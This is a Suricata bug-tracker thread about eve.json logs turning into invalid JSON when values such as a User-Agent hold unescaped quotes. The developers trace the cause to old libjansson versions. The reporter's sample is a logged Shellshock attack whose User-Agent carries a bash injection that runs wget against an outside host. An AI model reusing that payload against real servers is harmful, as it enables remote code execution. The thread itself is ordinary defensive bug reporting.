Bug #1299
closedeve.json JSON output not valid under certain circumstances (e.g. Shellshock)
Description
This example comes from recent shellshock attacks.
grep '()' /sdcard/suricata/var/log/suricata/eve.json | sed 's/***\.***\./XXX\.XXX\./g' | while read line; do echo $line | python -m json.tool >> /tmp/test.json || echo $line >> /tmp/invalid.json; done ... tail -n1 /tmp/invalid.json ... tail -n1 /tmp/invalid.json {"timestamp":"2014-10-06T19:08:31.121661","event_type":"fileinfo","src_ip":"XXX.XXX.0.94","src_port":80,"dest_ip":"46.165.221.166","dest_port":28220,"proto":"TCP","http":{"url":"/","hostname":"oneiroi.co.uk","http_refer":"<unknown>","http_user_agent":"() { :;}; /bin/bash -c "wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk""},"fileinfo":{"filename":"/","magic":"unknown","state":"CLOSED","stored":false,"size":178}}
The issue here is the http_user_agent; as the UA was sent with an exploit payload:
bin/bash -c "wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk"
Ths again gets wrapped in double quotes when passing it out to eve.json such that the JSON is now invalid:
"bin/bash -c "wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk"" ... tail -n1 /tmp/invalid.json | sed 's/-c "/-c \\"/g' | sed 's/""/\\""/g' | python -m json.tool { "dest_ip": "46.165.221.166", "dest_port": 28220, "event_type": "fileinfo", "fileinfo": { "filename": "/", "magic": "unknown", "size": 178, "state": "CLOSED", "stored": false }, "http": { "hostname": "oneiroi.co.uk", "http_refer": "<unknown>", "http_user_agent": "() { :;}; /bin/bash -c \"wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk\"", "url": "/" }, "proto": "TCP", "src_ip": "XXX.XXX.0.94", "src_port": 80, "timestamp": "2014-10-06T19:08:31.121661" }
TL;DR: escaping of " char is required before writing out into eve.json; otherwise it is possible to create invalid JSON
Updated by Victor Julien over 9 years ago
I think this should be handled by libjansson. The UA is passed to json_string, which should take care of the escaping as far as I know.
json_object_set_new(js, "http_user_agent", json_string(c));
Updated by Andreas Moe over 9 years ago
As far as i can se in the libjansson code, json_string() does no parsing. The json_dumps() does some if you for example set the ESCAPE_SLASH flag. I think this might have to go through the PrintRawUriBuf / PrintRawJsonBuf (which i wrote in my latest pull request https://github.com/inliniac/suricata/pull/1170) so that it parses the correct characters.
Updated by Andreas Moe over 9 years ago
I think i was wrong, maybe. In dumps.c of libjansson (on github, v2.7) the function dump_string() does parsing of the string. And this is called if you either dump to file or a buffer, so it should do the parsing as Victor said.
Updated by Victor Julien over 9 years ago
If this is the case, perhaps we should reject libjansson versions that are too old.
Updated by Andreas Herz about 8 years ago
- Assignee set to OISF Dev
- Target version set to 70
Updated by Andreas Herz about 8 years ago
Victor Julien wrote:
If this is the case, perhaps we should reject libjansson versions that are too old.
Shall we decide about a version and change it? Might be also a valid approach for other libs?
Updated by Victor Julien about 8 years ago
Sure, if we can find out which versions are good/bad :)
Updated by Christian lyra over 7 years ago
I think what I'm seeing here is related, as I got a invalid json when payload-printable is set to yes. Below is the offending part:
"payload_printable":"M-SEARCH * HTTP/1.1rnHost:239.255.255.250:1900rnST:upnp:rootdevicernMan:"ssdp:discover"rnMX:3rnrn",
I'm using suricata 3.1.3.
Updated by Victor Julien over 7 years ago
@Christian: what is your libjansson version?
Updated by Victor Julien over 6 years ago
- Status changed from New to Closed
- Assignee deleted (
OISF Dev) - Target version deleted (
70)
Old issue that is likely due to outdated libjansson. Closing.